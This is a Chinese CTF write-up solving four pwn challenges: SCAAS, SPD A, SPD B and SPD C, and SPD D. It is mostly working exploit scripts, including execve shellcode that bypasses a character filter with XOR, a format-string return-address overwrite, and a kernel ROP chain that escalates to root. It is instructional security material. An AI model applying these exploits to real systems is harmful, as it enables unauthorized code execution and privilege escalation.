PWN

上去看的时候队里的师傅都已经把PWN都打穿了,挑几题补了一下

SCAAS

没给附件,nc连上去之后第一个选项可以下载 base64 编码之后的附件

下载附件脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *
from base64 import b64decode

fd = open('chall', 'wb')
# context.log_level = 'debug'
p = remote('scaas-1.play.hfsc.tf', 1337)
p.sendlineafter(' > ', '1')
p.recvuntil('Here is your SCAAS service: (\n')
data = ''
code = ''
while True:
data = p.recvuntil('\n', drop = True)
if data == ')':
break
code += data
code = b64decode(code)
fd.write(code)
fd.close()
# p.interactive()

附件下载到本地后发现是gzip压缩文件,用下面的命令解压后得到一个ELF文件

1
mv chall chall.gz && gunzip chall.gz

接下来就可以用ida分析它了

程序主要功能类似于一个菜单,第一个选项会调用我们之前用来下载附件的函数;第二个选项调用 unlock_serivce ,函数内若判断都满足则会调用 scaas 函数,而 scaas 函数里可以执行我们输入的 shellcode 。所以目标就是绕过前面的判断进入到 scaas 函数里执行 shellcode

第一个用于判断的函数

允许输入5次,分别赋值到 password_one 数组0~4下标的位置,也就分别是 password_onedword_4084dword_4088dword_408Cdword_4090 的位置(后面两个用于判断的函数也一样。所以只需要按返回时的那几个判断分别给这几个变量赋值相应的数字即可

第二个用于判断的函数

dword_409C + 456 == dword_40A0dword_409C = 262505 - 456 即可, dword_40A4 % 694u == 1 直接令 dword_40A4 等于1即可。对于 password_two[0] ,需要写脚本计算出它的值

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
unsigned int i = 0;
for (; i < 0xffffffffu; i++) {
if (1318 * i % 3272451 == 4425) break;
}
printf("password_two[0] = %d\n", i);
}
// password_two[0] = 1243932

这里其实用z3解也可以,但是z3到了第三个判断函数的时候就好像不行了(不太会z3

第三个用于判断的函数

!(dword_40B8 % 1445u) 直接令 dword_40B8 = 0 即可,其他解法同上,解 password_three[0] 脚本

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
unsigned int i = 0;
for (; i < 0xffffffffu; i++) {
if (8511 * i % 0x2B27EAu == 24486) break;
}
printf("password_three[0] = %d\n", i);
}
// password_three[0] = 2124890

这里用z3解的话解出的结果是不能通过判断的(个人猜测是因为 8511 * password_three[0] 在求解过程中的值太大造成了 unsigned int 的整数溢出导致结果不正确)

三个判断都绕过后,就可以进入 scaas 函数了。函数内允许输入最大500字节的 shellcode ,但会检查 shellcode 是否全部由字母或数字构成,若是则会执行输入的 shellcode

这里用alpha3生成所需的 shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *

# io = process('./chall')
io = remote('scaas-1.play.hfsc.tf', 1337)
context.binary = 'chall'

sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()

sla(' > ', '2')

# stage1
sla(': ', '9530624')
sla(': ', '7370775')
sla(': ', '1')
sla(': ', '8653762')
sla(': ', '8987274')

# stage2
sla(': ', '1243932')
sla(': ', '3103430')
sla(': ', str(262505 - 456))
sla(': ', '262505')
sla(': ', '1')

#stage3
sla(': ', '2124890')
sla(': ', '9874561')
sla(': ', str(6280405 + 3274 + 4728))
sla(': ', '6280405')
sla(': ', '0')

sla('Run SCAAS (alphanumeric shellcode, max 500 bytes): ', 'hffffk4diFkTpj02Tpk0T0AuEE2O0Z2G7O0u7M041o1P0R7L0Y3T3C1l000n000Q4q0f2s7n0Y0X020e3j2r1k0h0i013A7o4y3A114C1n0z0h4k4r0s')
ia()

SPD A

程序会读入最多 0x1000 个字节的 shellcode ,当 shellcode 满足下图中if的判断条件时,会执行 shellcode

执行 shellcode 的那一段代码不知道为什么没有反编译出来

这段汇编代码中, [rbp+buf] 刚好是 shellcode 的地址,将该地址压栈并重置 rax ~ r15 寄存器后, retn 会直接跳转到 shellcode 的地址执行 shellcode

shellcode 的检查中, shellcode 不能出现 '\x2f''\x62''\x69''\x6e''\x73''\x68' 这些字符,而这些刚好是构成 '/bin/sh' 的字符,所以需要先输入一个合法的字符串,然后通过 xor 构造出 '/bin/sh'

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *

io = process('./spd_a')
context.binary = 'spd_a'

sa = lambda a, b : io.sendafter(a, b)
ia = lambda : io.interactive()

sc = '''
push 0x3b
pop rax
mov rbx, 0x0167722e6d68612e
push rbx
push rsp
pop rdi
mov rbx, 0x10f010103010301
xor [rdi], rbx
xor rsi, rsi
xor rdx, rdx
syscall
'''
sc = asm(sc)
sa('c0de: ', sc)
ia()

SPD B

三次格式化字符串的机会,第一次泄露 stackelf 的地址,第二次修改 scanf 的一参为 %s 使其可以读入足够长的 printf 格式化字符串参数,第三次修改返回地址为 shell 函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *

io = process('./spd_b')
context.binary = 'spd_b'

ru = lambda x : io.recvuntil(x, drop = True)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
pie_os = lambda x : pie_base + x
lg = lambda x : info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (x, eval(x)))

sla('guess: ', '%1$p,%3$p')
stack_addr = int(ru(','), 16)
ret_addr = stack_addr - (0xffa5157c - 0xffa514dc) - (0xffc365e0 - 0xffc3666c)
lg('ret_addr')
fmt_addr = ret_addr - (0xfff151d0 - 0xfff15314)
pie_base = int(ru(' is'), 16) - (0x565f5311 - 0x565f4000)
lg('pie_base')
backdoor = pie_os(0x0000138D)
lg('fmt_addr')
pld = flat([
'%',
str(u16('%s')),
'c',
'%40$n'
])
lg('len(pld)')
sla('guess: ', pld)
pld = flat([
ret_addr,
'%',
str(int(hex(backdoor - 4)[-2:], 16)),
'c',
'%4$hhn'
])
sla('guess: ', pld)
ia()

SPD C

riscv64 架构,ida好像反编译不出来

github 上面找到一个貌似可以用来反编译 riscv64 的ida插件ida_riscv,结果还是寄(

跑一下发现输出和 SPD A 差不多,直接ida硬看汇编代码,然后看到这一段

于是猜测除了架构之外其他都和 SPD A 一样,也是输入一段 shellcode 在检测合法性后执行 shellcode ,甚至连ban掉的非法字符都是一样的

riscv64 架构汇编指令的入门学习参考 xuanxuan 师傅的这篇文章

对于这道题来说,其实只要看懂这段汇编 shellcode 就够了

1
2
3
4
5
6
7
8
9
10
11
    .global _start
.text
_start:
li s1, 0x68732f2f6e69622f # Load "/bin//sh" backwards into s1
sd s1, -16(sp) # Store dword s1 on the stack
sd zero, -8(sp) # Store dword zero after to terminate
addi a0,sp,-16 # a0 = filename = sp + (-16)
slt a1,zero,-1 # a1 = argv set to 0
slt a2,zero,-1 # a2 = envp set to 0
li a7, 221 # execve = 221
ecall # Do syscall

关键在于前三句,也就是把 "/bin/sh" 字符串储存到栈上过程。第一句是把 "/bin/sh" 储存到 s1 寄存器上,第二句是把 s1 寄存器的值(即 "/bin/sh" )储存在栈上相对 sp 寄存器偏移-16的位置,第三句在该字符串后面补 '\x00'

所以只需要修改存入 s1 寄存器的值,将合法的字符存进去,再利用 xor 把它修改为 "/bin/sh" 即可

修改后的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
    .global _start
.text
_start:
li s1, 0x0167722e6d68612e # Load "/bin//sh" backwards into s1
li s2, 0x10f010103010301
xor s1, s1, s2
sd s1, -16(sp) # Store dword s1 on the stack
sd zero, -8(sp) # Store dword zero after to terminate
addi a0,sp,-16 # a0 = filename = sp + (-16)
slt a1,zero,-1 # a1 = argv set to 0
slt a2,zero,-1 # a2 = envp set to 0
li a7, 221 # execve = 221
ecall # Do syscall

用如下命令将生成的 shellcode 存放在 execve.text 文件中

1
2
3
$ riscv64-linux-gnu-gcc shellcode.s -c
$ riscv64-linux-gnu-ld shellcode.o -o shellcode
$ riscv64-linux-gnu-objcopy -O binary --only-section=.text shellcode execve.text

将生成的 shellcode 以python字符串形式输出(其实直接打开 execve.text 文件将 shellcode 读进来然后发送就可以了,但这里我还是稍微写详细一点吧

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
fd = open('execve.text', 'r')
sc = fd.read()
fd.close()
sc_str = ''
for i in sc:
sc_str += '\\x' + hex(ord(i))[2:].rjust(2, '0')
print 'sc = \'' + sc_str + '\''
# sc = '\xb7\x44\x0b\x00\x9b\x84\x14\xb9\xb2\x04\x93\x84\x74\x73\xb2\x04\x93\x84\x34\xb4\xb6\x04\x93\x84\xe4\x12\x37\x09\x0f\x01\x1b\x09\x19\x10\x42\x09\x13\x09\x19\x30\x42\x09\x13\x09\x19\x30\xb3\xc4\x24\x01\x23\x38\x91\xfe\x23\x3c\x01\xfe\x13\x05\x01\xff\x93\x25\xf0\xff\x13\x26\xf0\xff\x93\x08\xd0\x0d\x73\x00\x00\x00'

exp

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *
io = process('./spd_c')

sa = lambda a, b : io.sendafter(a, b)
ia = lambda : io.interactive()

sc = '\xb7\x44\x0b\x00\x9b\x84\x14\xb9\xb2\x04\x93\x84\x74\x73\xb2\x04\x93\x84\x34\xb4\xb6\x04\x93\x84\xe4\x12\x37\x09\x0f\x01\x1b\x09\x19\x10\x42\x09\x13\x09\x19\x30\x42\x09\x13\x09\x19\x30\xb3\xc4\x24\x01\x23\x38\x91\xfe\x23\x3c\x01\xfe\x13\x05\x01\xff\x93\x25\xf0\xff\x13\x26\xf0\xff\x93\x08\xd0\x0d\x73\x00\x00\x00'
sa('c0de: ', sc)
ia()

SPD D

kernel栈溢出,没开 kaslrsmap/smep

vuln_write 函数里, copy_from_user 函数的第二、三个参数都可以控制,所以直接 kernel ROP 或者 ret2usr 执行 commit_creds(prepare_kernel_cred(0)) 后返回到用户态 getshell 即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;

void log_info(char *msg, size_t val) {
if (val != -1) {
printf("\033[32m\033[1m[+] %s:\033[0m 0x%lx\n", msg, val);
} else {
printf("\033[32m\033[1m[+] %s\033[0m\n", msg);
}
}

void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
log_info("Status has been saved.", -1);
}

void get_shell() {
if (getuid()) {
log_info("Failed to get the root!", -1);
exit(-1);
}
log_info("Successful to get the root. Execve root shell now...", -1);
system("/bin/sh");
exit(0);
}


int main() {
save_status();
commit_creds = 0xffffffff81055f00;
prepare_kernel_cred = 0xffffffff81055db0;
size_t swapgs_pop_rbp = 0xffffffff81400cdc;
size_t iretq_pop_rbp = 0xffffffff8101bb0a;
size_t pop_rdi = 0xffffffff811dbdec;
size_t pop_rdx = 0xffffffff810daae2;
size_t mov_rdi_rax_call_rdx = 0xffffffff812c324a;
int fd = open("/dev/vuln", 2);
if (fd < 0) {
log_info("/dev/vuln open failed", -1);
}
int i = 0x108/8;
size_t rop[0x300] = {0};
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = pop_rdx;
rop[i++] = mov_rdi_rax_call_rdx;
rop[i++] = commit_creds;
rop[i++] = swapgs_pop_rbp;
rop[i++] = 0;
rop[i++] = iretq_pop_rbp;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, i * 8);
}